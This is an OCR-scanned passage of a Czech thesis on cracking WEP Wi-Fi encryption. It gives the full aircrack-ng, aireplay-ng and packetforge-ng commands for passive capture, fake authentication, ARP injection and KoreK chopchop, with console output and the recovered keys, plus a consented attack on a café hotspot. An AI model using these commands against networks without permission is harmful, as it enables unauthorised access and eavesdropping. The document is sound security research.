Q Basic  Encrypticn
The Access Point supports 4 different types of security moc d
WEP, WPA Pre-Shared Key, RADIUS, and WPA RADIUS. An ea: : <
1o utilize the maximum security of WPA Radius is to sign up {} Status Select disable or e""!"e WEF Encrypiion. A
the Einkeys Wi slems Gisrd sorvice. 7o las mora CLICICH & It you enable encryption, pleasel note qnly stations in the nellwcrk
% j configured with identical WEP Keps will be able to communicate.
Config ¥ Data encryption (WEP enabled)
b I Netwoik Authentication (Shared mode)
Security Mode: WEP hd d Wieless Network Ke»y MEP], - —
Defautt Transmitkey: @4 O 2 O3 O34 Sv'V;y Key Foimat: [Hexadecimal dgis =l ;EA
¢ — N
WEP Encryption: 64 bits 10 hex digits [ w Key Length |84 bis (10 digits) v
" Manual Assignment
Passphrase: security | About PR EET
Keyl: 14D 3608FF1 Link State
Key 2: ADC2DS02EF
Key3: DC277E843F
Key4: DS18ESD04E Save as profile ¢ Automatic Generaton
 Apply Passphrase ; [securiy]
2 Seetcnesvoueinkiors  [G1 o]
x Cancel
L. S

Obr. 12.1: Nastaveni shodného zabezpeéeni na strané routeru i klienta

Kdyz uz sit’ byla pripravena a komunikace mezi routerem a autentizovanym klientem
navazana, tak jsem prikrocil k vlastnimu nastaveni a spusténi programu aicrack-ng, resp. jeho
¢asti airodump pro zachytavani paketd. Nejprve bylo nutné zvolit bezdratovy adaptér pro
zachytavani paketl, nasledné pak typ chipsetu v daném adaptéru a na konec ¢islo kanalu, na
kterém komunikace mezi AP a klientem probiha. Prace v tomto programu pod OS Windows

je znacné zjednoduSena diky pouzitému GUI.
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airodump-ng 0.9.3 JIE -5 x|

airodump—ng 8.2.3 - (C) 2886-2007 Thomas d’Otreppe
Original work: Christophe Devine

usage: airodump-ng <nic index> <nic type> {channel{s>> <{output prefix> [ivs only flagl

Known netuork adapters:

13 ASUS 8@2.11g svkoui® adaptle
2 8i8 9088 PCI Fast Ethernet Adapter
280 Cisco Aironet 802.11a/bs/g Wireless Adapter

Network interface index number -> 28
0’ = HermeslI/Realtek

Interface types:
’ = Aironet/Atheros

-
o

Network interface type Cos/ad -> a

Channel(s): @ = hop on 2.4Ghz channels, -1 = hop on 5Ghz channel,
i, 7, 13, 2, 8, 3, 14, 9, 4, 18, 5, 11, 6, 12, 36, 40,
44, 48, 52, 56. 60. 64, 100, 1084, 108, 112, 116, 120,
124, 128, 132, 136, 148, 149, 153, 157, 161, 184, 188,
192, 196, 288 -> 11

Obr. 12.2: Nastaveni zachytavani paketi programem airodump

Dal§im krokem bylo zapoceti zachytdvani paketl. Tomuto kroku je potieba vénovat
zvySenou pozornost, nebot’ pocet zachytnutych paketii nepfimo umérné ovlivituje dobu, za

kterou jsou pakety vyhodnoceny, resp. je ziskan tajny klic.

(=] :Jgjfﬂ
BSSID PYR Beacons # Data CH MB ENC  ESSID
AA:0F:98:7D:9E:68 20 2485 A 13 54 OPN Moshi
AP:A6:25:4B:2E:32 65 33416 318871 11 48 WEP ssid_visible
AR:AF:9A:7D:9D:98 24 2371 a 13 48 OPN i
BSSID STATION PUR Packets ESS\D
| AA:A6:25:4B:2F:32 0A:11:D8:22:71:65 44 321236 ssid\visible
F‘Y" Hezdratove yr;fpuja-u} it 7)- st ﬂa‘
Obecné | Podpora
Ffipojeni
Stav: Pripojeno
Sit. ssid_visible
Trvéni 01:45:51 Pocet zachycenych paketti
Rychlost: 54,0 Mb/s
Sila signélu: ll'“
AT Typ zabezpeceni sité
<5
Odeslano 3 Prialo
)
Pakety: 162338 | 167426
R
b
[ Viastnosii | [ Zakdzat | [ Zobrasit bezdhdtové site |
Pocet pijatych a odeslanych paketu
Zaviit J

Obr. 12.3: Vysledek prvniho zachytavani paketa
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Celkové bylo pfi tomto utoku zachyceno 320892 paketi. Tyto pakety byly nasledné ulozeny
do souboru, se kterym jsem dale pracoval v druhé ¢asti programu aircrack. Diky zachyceni
takového mnozstvi paketa a vyuziti metody FMS bylo zjisténi tajného kli¢e otdzkou méné nez

jedné vtefiny, jak demonstruje nasledujici obrazek.

Aircrack—ng 8.92.3

[00:00:00]1 Tested 242 keys <(got 3260892 IUs)

depth byte{vote)

as 3 14¢ 33> F3< 12> 34<¢ ?> FEC 3> D6< @8> F5¢
as 7 D3¢ 42> 69< 38> EBC 15> F5¢ 15> E6C( 15> F6(
8 4 68¢ 57> BEC 21> E6C 15> 14C 15> 8% 5> 7EC
as 7 8F( 67> BB 21> B?C 15> 9FC 15> A8 15> 7F(

KEY FOUND? [ 14:D3:68:8F:F1 1
Decrypted correctly: 16882z

C:\hack_wifiNaircrack—ng—-08.9.3-uwin\bin>_

Obr. 12.4: Vystup programu aircrack-ng pro 64bit. zabezpeéeni

Je tedy vidét, ze 64 bitové zabezpeceni algoritmem WEP Ize pfi normélnim sitovém
provozu celkové prolomit zhruba do 10 minut. VSe ale samoziejmé zavisi na sitovém

provozu, ktery v pasivnim reZimu samoziejmé nelze nijak ovlivnit.
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12.2.  128bit. WEP

Jako druhy v pofadi jsem zvolil utok na 128 bitovy algoritmus WEP. Postup byl stejny jako
Vv pfedchozim pfipadé, pouze bylo nutné nastavit nové klice jak na stran¢ AP, tak i na strané
autentizovaného klienta. Nasledné po konfiguraci bylo opét mozné pftejit k vlastnimu

zachytavani pakett.

V ptipad¢ 128 bitového zabezpeceni by pro rozlusténi tajného kli¢e v fadu sekund, jak
tomu bylo v pfedchozim piipad€, bylo nutné zachytit vétsi mnozstvi paketd. Ja jsem se vSak
rozhodl pro zachyceni zhruba stejného mnozstvi paketi jako v pfedchozim ptipadé, konkrétné
315594 paketl, na cemz jsem chtél demonstrovat nariist ¢asové narocnosti zisku tajného

klice.

| , -[o]x

Aircrack—ng B.9.3

[BB:13:06]1 Tested 867878 keys {(got 3155%4 IUs)

=

byte<{vote?

65¢ 15> 22¢ 15> FCC 15> F3<¢ 15> 13¢ 26¢
E4< 149> CBC 24> 93¢ 15> DF< 3> E?< EE<
51<C 39> 1CC 38> AAC 18> A2<¢ 15> D4( 41 ¢
DBC 123> 75¢C 51> 68¢ 24> B8¢ 15> 53¢ 58¢
@8¢ 45> 86<¢ 12> CC{ 12> 8D<C 18> 71¢ [3:14
F2¢ 18> 82C¢ 15> C8<¢ 15> 61<{ 12> AEC 58¢
C1< 114> DEC 15> A%< 5> 98¢ 3> 66¢ 63¢
84¢ 38> 9BC 15> 96<¢ 15> F8<{ 13> CE( C8<¢
Aac< 188> FAC 28> 5E¢ 15> DD{ 15> AB( 5%¢
pacd 18> 3D< 8> 1E< 6> 21< 6> 16¢ B4<
6BC 398> 87C 118> 57<¢ 39> ?74( 38> AB( 5E<
74< 132> FBC 33> DB 28> 5FC 15> B6( 14¢<

B
a
1
2
3
4
5
6
?
g
g
a
1

Pk O e G B ek ek N ek ]

-

KEY FOUND?! [ 65:E4:51:DB:@8:F2:C1:84:8C:DA:6B:74:22
Decrypted correctly: 188

C:\hack_wifivaircrack—ng-0.9.3—win\bin>

Obr. 12.5: Vystup programu aircrack-ng pro 128bit. zabezpeceni

Z vystupu programu je patrné, ze tajny 104 bitovy kli¢ pti zisku zhruba 320000 pakett
byl nalezen za 13 minut a 6 sekund. Pfi stejné zvoleném passphrase jako v piipadé 64 bitové
varianty a stejném mnozstvi paketl je tedy zfetelna vyssi Casova narocnost zisku tajného
klice. VSe také zavisi na tom, kolik slabych inicializacnich vektort je béhem komunikace
odchyceno. S urcitosti 1ze tedy fici, ze ¢im mame odchyceno vice inicializa¢nich vektortu pfi

pasivni metodé utoku, tim I1épe.
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13 PASIVNI A AKTIVNiIi UTOKY POD OS LINUX
13.1. Priprava

Po startu OS Linux Backtrack bylo pokazdé nutné znovu nakonfigurovat dany hardware,
nebot’ se jednalo o live distribuci spousténou z CD. Jako prvni krok bylo nutné oba dva sitové

bezdratové adaptéry zapnout nasledujicimi ptikazy:

ifconfig etho up
wlanconfig athe destroy
wlanconfig ath@ create wlandev wifi@ wlanmode monitor

wlanconfig athe up

Prvni ptikaz zapina sitovy adaptér Asus, které reprezentuje autentizovaného klienta.
Dalsi prikaz ma za ukol vypnuti Gtociciho sitového Cisco a jeho opétovné zapnuti, avsak nyni
jiz v potfebném monitor médu. Aircrack ve verzi ng jiZ pracuje s virtudlnim rozhranim wifi0

a tak je nutné zafizeni vytvaret timto zpisobem.

Dal$im piikazem bylo nutné béZnému klientu nastavit IP adresu, masku a také tajny

WEP Kkli¢.

ifconfig etho 192.168.1.11 netmask 255.255.255.0
iwconfig etho key 36BBA131BB4649FAE58767C6F2

V tuto chvili jiz nic nebranilo tomu, abychom pomoci béZného klienta proscanovali sit’
a pripojili se k danému AP. Ke scanovani bezdratovych siti a naslednému piipojeni slouzi

nasledujici ptikazy:

iwlist eth@ scanning
iwconfig eth@ essid TEST

Z vystupnich dat téchto ptikaza zjistime, na jakém kanalu AP vysila a mizeme tak

omezit monitorovani sit€ v dal§im kroku pouze na tento kanal.
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13.2. Monitorovani sité

Ze vSeho nejdiive je nutné spustit aplikaci airodump. Ta ma za ukol shromazd’ovat vSechny
pakety urcenych parametrt a po jejim ukonceni je ulozit do souboru. S timto souborem je pak

mozno dale manipulovat za Gi¢elem zisku hesla.

Z predchoziho bodu jsme zjistili, ze AP vysila na kandlu ¢islo 4. Omezime tedy utocici

wi-fi kartu pouze na tento kanal ptikazem:

iwconfig ath@ channel 4

A nasledné spustime vySe jmenovanou aplikaci airodump.

airodump-ng --ivs -w data --ch 4 athe

Vyznam jednotlivych parametri:

e --ivs znamena, Ze program nezaznamenava celé pakety, ale pouze inic. vektory
e -w data — program zapisuje do souboru data.ivs
e --ch 4 — omezeni zachytavani paketti pouze na AP pracujici na kanalu 4

e athO je rozhrani utoc¢ici wi-fi karty

CH 4 1[ Elapsed: 6 mins ][ 2009-04-23 16:10

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:06:25:4B:2E:32 48 99 3659 56574 503 4 54 WEP WEP OPN TEST
00:0D:97:04:B2:C9 24 0 0 1 O 6 54 WEP WEP Standalone
00:11:0A:E9:74:BB -1 0 0 103 0 4 -1 OPN VUTBRNO

BSSID STATION PWR Rate Lost Packets Probes

00:06:25:4B:2E:32 06:40:96:A2:A0:CD 43 0- 1 100224
00:06:25:4B:2E:32 00:11:D8:22:71:65 38 54-24 2540
(not associated) 00:0F:3D:84:A7:51 10 ©0- 1 21 vutbrno
00:11:0A:E9:74:BBE 00:0E:35:7B:DB:9F 10 0- 1 157 VUTBRNO

Obr. 13.1: BéZici program airodump pro zachytavani paketi
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13.3. Asociace na AP

Pfed prvnim typem realizovaného utoku bylo nutné se s Gtocici wi-fi kartou asociovat na AP.
Tato asociace vyuziva aplikaci aireplay a je Gspésna pouze pii znalosti SSID AP a dostatecné

dobrém signalu. Asociujeme se nasledujicim piikazem:

aireplay-ng -1 @ -e TEST -a 00:06:25:4B:2E:32 -h 06:40:96:A2:A0:CD athe

Vyznam jednotlivych parametri:

e -1 znamend autentizaci na AP

e -¢ TEST je SSID AP, na ktery uto¢ime

e -a00:06:25:4B:2E:32 je MAC adresa AP

e -h06:40:96:A2:A0:CD je MAC adresa utocici wi-fi karty

e athO je rozhrani utocici wi-fi karty

Po tspésné asociaci na AP uvidime nasledujici konzolovy vystup:

bt aireplay-ng -1 0 -e TEST -a 00:06:25:4B:2E:32 -h 06:40:96:A2:A0:CD atho
15:59:27 Waiting for beacon frame (BSSID: 00:06:25:4B:2E:32) on channel 4

15:59:27 Sending Authentication Request (Open System) [ACK]
15:59:27 Authentication successful

15:59:27 Sending Association Request [ACK]

15:59:27 Association successful :-) (AID: 1)

Obr. 13.2: Konzolovy vystup po asociaci na AP

Nyni mizeme zahgjit utok. Je vSak ale nutné jest¢ vybrat druh aplikovaného utoku.
Utok pomoci injektovani paketl je mozny pouze v piipadé, Ze na AP je pfipojen alespoil

jeden autentizovany klient. V jiném p#ipadé musime pouzit utok typu KoreK chopchop. [17]
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13.4.  Utok generovanim ARP pakett

Tento utok se fadi do skupiny aktivnich ttokl. K jeho realizaci je bezpodmine¢né nutny
alespon jeden asociovany klient na AP spolu s asociovanou uto¢ici wi-fi kartou, kterou jsme
provedli v minulém kroku. Cely autok funguje na principu opakovaného odesilani ARP paketi
z ato¢ici wi-fi karty na AP, coz nazyvame injektovanim paketu. Abychom byli schopni
takovyto paket injektovat, je nejprve nutné odchytit alespont jeden ze sméru AP - klient. Kdyz
uz takovyto paket mame, tak jej jiz mizeme vysilat stale dokola. Ptistupovy bod je nucen jej
pokazdé piijmout, deSifrovat a odeslat dale. To se vSak d&e jiz snovou kombinaci
inicializacniho vektoru a paket je cely také nové zaSifrovan. O ARP paketu vime, Ze prvnich
16 bytd jeho obsahu je tzv. hlavicka paketu, diky cemuz je mozné tyto byty rozsifrovat a
ziskat tak ¢ast Sifrovaci sekvence. Diky velkému mnozstvi téchto paketd jsme poté schopni

odhalit tajny Sifrovaci kli¢. [17]

# Frame 21 (60 bytes on wire, 60 bytes captured)
® Ethernet II, Src: HwServer_92:d7:18 (00:0a:59:92:d7:18), Dst: Asustekc_18:fd:fe (00:11:d8:18:fd:fe)
= Address Resolution Protocol (request)
Hardware type: Ethernet (0x0001)
Protocol type: IP (0x0800)
Hardware size: 6
Protocol size: 4
opcode: reqguest (0x0001)
sender MAC address: HwServer_92:d7:18 (00:0a:59:92:d7:18)
sender IP address: 10.10.1.1 (10.10.1.1)
Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)
Target IP address: 10.10.1.50 (10.10.1.50)

0000 00 11 d8 18 fd fe 00 0a 59 92 d7 18 08 06 00 01
0010 08 00 06 04 00 01 00 Qa 59 92 d7 18 Oa Oa 01 01
0020 00 00 00 00 00 00 0a 0a 01 32 00 00 00 00 00 00
0030 00 00 00 00 00 00 00 00 00 00 00 00

Obr. 13.3: Struktura ARP paketu v programu Wireshark

Utok zahdjime nésledujicim ptikazem:

aireplay-ng -3 -b 00:06:25:4B:2E:32 -h 06:40:96:A2:A0:CD -x 600 athe

Vyznam jednotlivych parametrii:

o -3 znamena aireplay ARP utok

o -a 00:06:25:4B:2E:32 je MAC adresa AP

o -h 06:40:96:A2:A0:CD je MAC adresa utocici wi-fi karty
o -X 600 je pocet injektovanych paketl za sekundu

o ath0 je rozhrani utocici wi-fi karty
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Po urcité dob¢ a ziskani dostatecného mnozstvi IV mlzeme generovani zastavit a ptejit do

aplikace aircrack-ng, ktera desifruje ziskané pakety.

aircrack-ng -x data@l.ivs

Timto ptikazem aplikace otevie soubor data@l. ivs, v programu dale musime zvolit,
které¢ zachycené IV se maji desifrovat, resp. z kter¢ho AP (orientujeme se dle MAC adresy a

poctu zachycenych IV) se ma program pokusit o ziskani tajného klice.

Na vystupu programu aircrack je vidét, Ze diky odchycenym 225161 IV byl kli¢

rozlustén za méné nez jednu sekundu s 100% piesnosti, pficemz bylo pouZzito 817 klica.

Aircrack-ng 1.0 rcl rless

[00:00:00] Tested 817 keys (got 225161 IVs)

depth  byte(vote)

4/ 13 3C(242944) D6(242432) C0(241664) F9(241152) 6F(240128) 93(239616) BA(239360)
0/ 1 F1(299776) 40(243712) B2(243456) 04(242688) 41(242688) 70(241920) 9E(241664)
0/ 1 92(315136) 86(245248) 61(244224) 40(243200) B0O(243200) 44(240128) 74(240128)
1/ 2 A0(250624) 91(246528) D1(245504) 66(242944) B3(242944) D5(241152) DA(240640)
19/ 4 1A(237056) 10(236288) 3B(236288) 4A(235520) 5C(235264) 62(235264) 70(235264)

KEY FOUND! [ 36:BB:Al:31:BB:46:49:FA:E5:87:67:C6:F2 ]
Decrypted correctly: 100%

Obr. 13.4: Tajny kli¢ ziskany metodou injekce paketi
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13.5. KoreK chopchop utok

Tento utok je dalsi z fady aktivnich Gtokt. Timto utokem jsme schopni rozsifrovat ramec bez
znalosti tajného klice. Nekteré AP ale neni mozné timto druhem utoku napadnout. Princip
utoku spocivd v zachyceni jednoho vhodného ramce a jeho analyze. Integrita takovéhoto
ramce je zajiSténa pomoci vyse popsaného CRC-32 algoritmu, ktery neni bezpecny. Datovy
ramec je pred odeslanim z AP opatien timto kontrolnim sou¢tem a pomoci operace XOR
zaSifrovan se Sifrovaci sekvenci. CRC-32 je linearni algoritmus, coZz je vlastn¢ hlavni slabina,

umoznujici tento druh atoku. Princip je nasledujici: [8]

Ramec ¢.1 Ramec ¢.2
DATA ICcv DATA ICcv
DO D1 D2 D3 D4 I3 I2 Il IO DO D1 D2 D3 D4 D5 J3 J2 J1 JO
+ o+ + o+ + o+ o+ o+ 4 + o+ 0+ + o+ o+ o+ o+ o+ o+
KO K1 K2 K3 K4 K5 K6 K7 K8 KO K1 K2 K3 K4 K5 K6 K7 K8 K9
RO R1 R2 R3 R4 R5 R6 R7 RS8 SO S1 S2 S3 S4 S5 S6 S7 S8 S9
Vysvétlivky :

+ znaci operaci XOR

D jsou bity dat

o I, resp. J jsou byty inicializa¢niho vektoru

R, resp. S jsou zasifrované byty
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Prvni ramec je zasifrovany AP. Druhy ramec je ten samy, ale je modifikovany v patém bytu,
resp. je do n¢ jeden byte ptidan. Z prvniho ramce na druhy je mozné piejit pouhym
tipovanim hodnoty sumy I3 a D5 metodou pokus omyl. Tuto hodnotu nazveme X. Tato suma

muze nabyvat 256 hodnot a je tedy vyjadiena jako [20] :

X=13+D5 (13.1)

Hodnoty D0 az D4 zstavaji stejné. A nasledné :

R5 = 13 + K5 = I3 + (D5+D5) + K5 = (13+D5) + (D5+K5) = X + S5, (13.2)

Hodnoty od R6 do R8 jsou spocteny obracenim jednoho kroku algoritmu CRC
zalozeného na hodnoté¢ X. Dale je znam fakt, ze existuje shoda mezi 12 az 10 a J3 az J1,
protoze CRC algoritmus tyto hodnoty zatadi zpét, ale hodnotu D5 posouva dopiedu. Tyto
byty nemusi mit nutn¢ stejné hodnoty, ale jejich rozdil zavisi pouze na hodnoté¢ X, kterou

jsme uhadli. JO zavisi pouze na hodnoté X. Déle:

K9 = S9 + JO (13.3)

Z toho plyne, ze jsme uhadli posledni byte zpravy a posledni byte Sifrovaci sekvence.

Vyse popsanym zpusobem hadame hodnotu X. [20]

Réamec je tedy odeslan na AP, které ma 2 mozZnosti, jak s nim naloZzit. Paklize jsme
hodnotu X neuhodli, tak je paket oznacen jako neplatny a je zahozen, ¢imZ nam vlastné sam
AP poradi. Paklize je ale ramec platny, tak jej AP pieposila dale a tim nam da najevo, ze jsme
hodnotu uhodli. Tento ramec odchytneme a zjistime hodnotu X. Timto zplisobem nalezneme
spravny ramec o jeden byte kratSi neZ originalni a uhodneme jeden byte Sifrovaci sekvence.

Tento proces je dale aplikovan na celou Sifrovaci sekvenci za ti€elem zisku tajného klice.
[17] [19]
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Samotny chopchop utok Ize, na rozdil od utoku injektovanim ARP pakett, provadét na AP, na
kterém neni p¥ipojeni zadny klient. Utok lze v zasadé provést dvéma zptisoby a to konkrétné
s faleSnou autentizaci a bez faleSné autentizace nasi Utocici karty na AP. Samotnd faleSna
autentizace je popsana detailn¢ o nekolik kapitol vyse, takze se mizeme vrhnout na popis
toku. Utogici wi-fi karta je tedy autentizovana na AP a my mizeme zait nasledujicim

ptikazem:

aireplay-ng -4 -h 06:40:96:A2:A0:CD -b 00:06:25:4B:2E:32 athO

Vyznam jednotlivych parametrt:

o -3 znamena KoreK chopchop utok

o -h 06:40:96:A2:A0:CD je MAC adresa ttoc¢ici wi-fi karty
o -b 00:06:25:4B:2E:32 je MAC adresa AP

o athO je rozhrani uto¢ici wi-fi karty
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Je bezpodmineéné nutné, aby MAC adresa utocici karty byla shodna s MAC adresou pouZitou

ve faleSné autentizaci, jinak utok nebude Gspésny.

Program po zadani tohoto piikazu ¢eka na vhodny paket a vyzaduje potvrzeni, ktery
ramec ma pouzit. V tomto piipad¢ je nutné se orientovat dle MAC adresy AP a podle cilové

MAC adresy.

bt aireplay-ng -4 -h 06:40:96:A2:A0:CD -b 00:06:25:4B:2E:32 atho
13:34:16 Waiting for beacon frame (BSSID: 00:06:25:4B:2E:32) on channel 4
Read 2953 packets...

Size: 86, FromDS: 1, ToDS: 0 (WEP)
BSSID

Dest. MAC
Source MAC

00:06:25:4B:2E:32
FE*FE*EEZEFsEE2FF
00:12:43:EC:8B:57

0x0000: 0842 0000 ffff ffff ffff 0006 254b 2e32

0x0010: 0012 43ec 8b57 70f2 1991 a600 71a0 85h5

0x0020: 11bf d255 fh1l8 9e78 8bb8 caf2 dc49 ffeh ...U...

0x0030: dela 8233 dlde d593 312c 92a4 ec2a 0e9a ...3.N..1,...*..
0x0040: d17b d8ca 3416 654a bdad 3feb 806b 1310 .{..4.eJ.M?7..k..
0x0050: 6f08 b8d6 6cOb 05

frames written i 2703ms
frames written i 9871ms
frames written in 15751ms
frames written in 13936ms
frames written i 9939ms
frames written i 7345ms
frames written i 8826ms
frames written in 10841ms
11 frames written i 4629ms
00 frames written i 4677ms

(41% done) |
I
|
I
I
I
I
I
I
I

01 | frames written in 4675ms
I
I
I
I
I
|
I
I
I

52 (44% done)
51 (47% done)
50 (50% done)
49 (52% done)
48 (55% done)
47 (58% done)
46 (61% done)
45 (64% done) xor
44 (67% done) Xor

| 61
I
|
|
I
|
|
I
|
I
43 (70% done) | xor
|
I
|
|
I
|
I
|
|

A9
F4
CB
C2
38
C3
0B
5C

| 0B
|
|
|
|
|
|
|
|
4 |
|
|
|
|
|
|
|
|
|
|

01
A8
co
65
71
22
D8

xor
xXor
xor
Xor
xor
xor
Xor
xor

11
21
80
26
15
47
DB
54
58
34

00 frames written i 2272ms
04 frames written 4692ms
06 frames written 2288ms
00 frames written i 4697ms
08 frames written i 4673ms
01 frames written i 4692ms
00 frames written i 2264ms
06 frames written i 4685ms
08 frames written i 7080ms

42 (73% done) Xor
41 (76% done) Xor
40 (79% done) xor
39 (82% done) Xor
38 (85% done) Xor
37 (88% done) | xor
36 (91% done) Xor
35 (94% done) Xor
34 (97% done) xor

LA 1 1 1 1 | A 1 1 I A 1 |
L 1 1 {1 1 A 1 1 I { A 1 |

Saving plaintext in replay_dec-0430-134430.cap
Saving keystream in replay_dec-0430-134430.xor

Completed in 29s (1.03 bytes/s)

Obr. 13.6: Injekce paketii metodou KoreK chopchop
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Nasleduje, jak napovida predchozi obrazek, vyse popsand procedura, kdy klient na AP posila
ramec o jeden byte mensi, nez je ptivodni délka rdmce. Ramec ma délku 86 byti, postupnym
aplikovanim algoritmu je tedy ur€eno 52 bytu Sifrovaci sekvence (86-34). Poslednich 34 byta
se program snazi uhodnout diky znalosti hlavicky 802.11 ramce a nasledn¢ vysledky ulozi do
soubori [8] [20]:

replay_dec-0430-134430.cap
replay dec-0430-134430.xor

Pficemz soubor s ptiponou .cap obsahuje plaintext a soubor s pfiponou .xor tajnou
Sifrovaci sekvenci. Tyto dva soubory jsou nyni potieba k vytvoreni faleSného ramce, ktery

budeme do sité injektovat.

tcpdump -s @ -n -e -r replay dec-0430-134430.cap

Tento ptikaz slouzi k tomu, abychom ze ziskaného souboru byli schopni extrahovat IP

adresu AP.

) tcpdump -s 0 -n -e -r replay_dec-0430-134430.cap
reading from file replay_dec-0430-134430.cap, link-type IEEE802_11 (802.11)
13:44:30.838778 BSSID:00:06:25:4b:2e:32 SA:00:11:d8:22:71:65 DA:ff:ff:ff:ff:ff:ff LLC, dsap SNAP (0Oxaa)

Individual, ssap SNAP (0Oxaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp
who-has 192.168.1.245 tell 192.168.1.11

Obr. 13.7: Vystup aplikace tcpdump

Zjistili jsme tedy, Ze AP ma v naSem ptipadé IP adresu 192.168.1.245. Druha IP
adresa 192.168.1.11 nas nikterak nemusi zajimat, protoze se jedna o cilovou adresu ARP

paketu. Se znalosti I[P AP jsme jiz schopni vygenerovat potifebny paket piikazem:

packetforge-ng -0 -h 00:11:D8:22:71:65 -a 00:06:25:4B:2E:32 -1
192.168.1.100 -k 192.168.1.245 -y replay dec-0430-134430.xor -w
arp2.cap

Vyznam jednotlivych parametrt:

o -0 znamena, Ze ramec obsahuje ARP paket

o -h 00:11:D8:22:71:65 je MAC adresa piipojeného klienta

o -a 00:06:25:4B:2E:32 je MAC adresa AP

o -l je zdrojova IP (smyslend)

o -k je IP adresa AP

o -y replay_dec-0430-134430.xor je diive odchyceny soubor s Sifrovaci sekvenci
. -W arp2.cap zapisuje vytvoieni ramec do souboru arp2.cap
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Nyni jiz mame vytvoteny podvrzeny ARP paket a mizeme ho injektovat do sité¢ nasledujicim

ptikazem:

aireplay -2 -r arp2.cap athe

aireplay-ng -2 -r arp2.cap atho
No source MAC (-h) specified, Using the device MAC (06:40:96:A2:A0:(CD)

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID
Dest. MAC
Source MAC

00:06:25:4B:2E:32
FF:FFSFF:FFIFFIFE
00:11:D8:22:71:65

0x0000: 0841 0201 0006 254h 2e32 0011 d822 7165 .A....
Ox0010: ffff ffff ffff 8001 5860 ecf® Sb66 e8a9

0x0020: 1d99 3cS5e 54da 4f15 2084 2110 4d4d d3el ..<"T.O.
0x0030: 49a7 0b5c a805 baf7 fhe0 f2ac caa9 ea3f I..\
0x0040: 82cf 4322 R

Use this packet 7 y

Saving chosen packet in replay src-0430-142820.cap
You should also start airodump-ng to capture replies.

packets...(500 pps)
Obr. 13.8: Injektovani podvrZzeného ARP paketu do sité

Nasledné jsme zapocali injekci podvrZzenych ARP paketi do sit€¢ a programem
airodump jsme jiz nam znamym zpusobem zachytavali odpovédi od AP. Odpovédi byly dale
vyhodnoceny programem aircrack a tajny kli¢ byl nalezen opét za méné nez sekundu, pfi

pouziti 741 klict a zisku 86559 IV.

Aircrack-ng 1.0 rcl r1e85

[00:00:00] Tested 741 keys (got 86559 IVs)

depth  byte(vote)

1/ 52(101120) 69(97536) 47(96512) 99(96512) 2B(94976) 6E(94720) D1(94720)
1/ 52(103936) 9B(99072) 75(98304) 66(97536) B3(97536) C6(96512) 72(96256)
2/ AF(98048) BA(96256) 2A(95744) 4A(95744) 04(95488) 74(95488) 35(95232)
37/ E1(91648) FO(91392) FF(91392) 88(91136) D2(91136) 63(90880) OE(90624)
0/ BC(130048) 43(101376) 4C(99840) 35(99072) 33(98816) FC(98816) 93(98048)

KEY FOUND! [ 36:BB:Al:31:BB:46:49:FA:E5:87:67:C6:F2 ]
Decrypted correctly: 100%

Obr. 13.9: Vysledek KoreK chopchop titoku
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13.6.  Utok mimo laboratorni prostredi

Jeden z utokii na zabezpeceni bezdratovych siti jsem se rozhodl realizovat mimo laboratorni
prosttedi, abych se co nejvice pfiblizil moznému praktickému vyuziti, resp. zneuziti,
takovéhoto pocinani. Byla vybrana bezdratova sit’, Sifrovana algoritmem 64 bitovym WEP,
ktera je realizovana jako free wi-fi hotspot v prostiedi kavarny, avSak s nutnou znalosti WEP

kli¢e. Utok byl realizovan se souhlasem majitele této sité.

Pied vlastnim tGtokem bylo nutné zjistit n€kolik véci. Konkrétné se jednalo o to, na
jakém kanalu AP vysila, vjakém kmito¢tovém pasmu, jaké zabezpeCeni pouziva, zda-li
neaplikuje zamezeni odesilani SSID a zda-li je na n¢j pfipojen alespon jeden klient. Byla tedy
zapnuta, nam jiz znamym zpusobem, aplikace airodump pro zachytavani IV s nasledujicim

vysledkem:

CH 9 ][ Elapsed: 28 s ][ 2009-05-01 15:50
BSSID PWR Beacons #Data, #/s MB  ENC CIPHER AUTH ESSID

00:1D:0F: 19 65 . WEP WEP

00:22:15: 17 57 WPA2 CCMP  PSK <length: 6>
00:0A:59: 20 WEP WEP GWP - 116VE
00:1D:0F: 6 . WEP WEP netdoma
00:02:72: 28 WEP WEP 23-1

Obr. 13.10: Vystup programu airodump

Néami atakovana sit’ je na prvnim misté pfedchoziho obrazku. Jeji SSID, stejné jako
zachycené MAC adresy jsou zamérné zatajeny z divodu mozného snadného zneuziti.
Z vystupu programu airodump jsme odvodili nami pozadované vstupni udaje, tj. Ze AP vysila
svoje SSID, komunikuje na kanalu ¢. 7 a vyuziva zabezpeceni algoritmem WEP. Na AP byl
pfipojen jeden klient, takZe byl zvolen aktivni utok formou generovani ARP paketli. Mohl byt
samoziejmé jesté zvolen pasivni utok, avsak jelikoZz se jednalo o prostiedi, kde bylo potfeba

realizovat utok v co nejkrat$im cCase, tak byl zvolen utok aktivni.
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Dalsim krokem byla realizace falesné autentizace nasi bezdratové utocici wi-fi karty. Postup

byl jiz dfive v textu detailné popsan, proto zde uvedu pouze vysledek.

aireplay-ng -1 0 -e -a 00:1D:0F: -h 06:40:96:A2:A0:CD atho
129 Waiting for beacon frame (BSSID: 00:1D:0F:E2:93:94) on channel 7

:29 Sending Authentication Request (Open System)

:31 Sending Authentication Request (Open Systenm)

:33 Sending Authentication Request (Open Systenm)

:35 Sending Authentication Request (Open Systenm)

:37 Sending Authentication Request (Open System) [ACK]
:37 Authentication successful

137 Sending Association Request [ACK]
:37 Association successful :-) (AID: 1)

Obr. 13.11: Fale$na autentizace na atakovany AP

Utogici wi-fi karta byla bez problému autentizovana a tak mohlo byt piikroceno ke
generovani ARP paketii. Byla pro to vyuzita MAC adresa bézného klienta a generovani ARP

mohlo zacit.

bt aireplay-ng -3 -b 00:1D:0F: -h 00:1F:3A: -x 600 atho

The interface MAC (06:40:96:A2:A0:CD) doesn't match the specified MAC (-h).
ifconfig ath® hw ether 00:1F:3A:

16:18:05 Waiting for beacon frame (BSSID: 00:1D:0F:E2:93:94) on channel 7

Saving ARP requests in replay_arp-0501-161805.cap
You should also start airodump-ng to capture replies.
yead 28338 packets (got 5939 ARP requests and 8331 ACKs), sent 14574 packets...(599 pps)

Obr. 13.12: Generovani ARP paketi do sité

Na obrazku je dobie patrna zména MAC adresy utocici wi-fi karty za MAC adresu

autentizovaného klienta pfikazem:

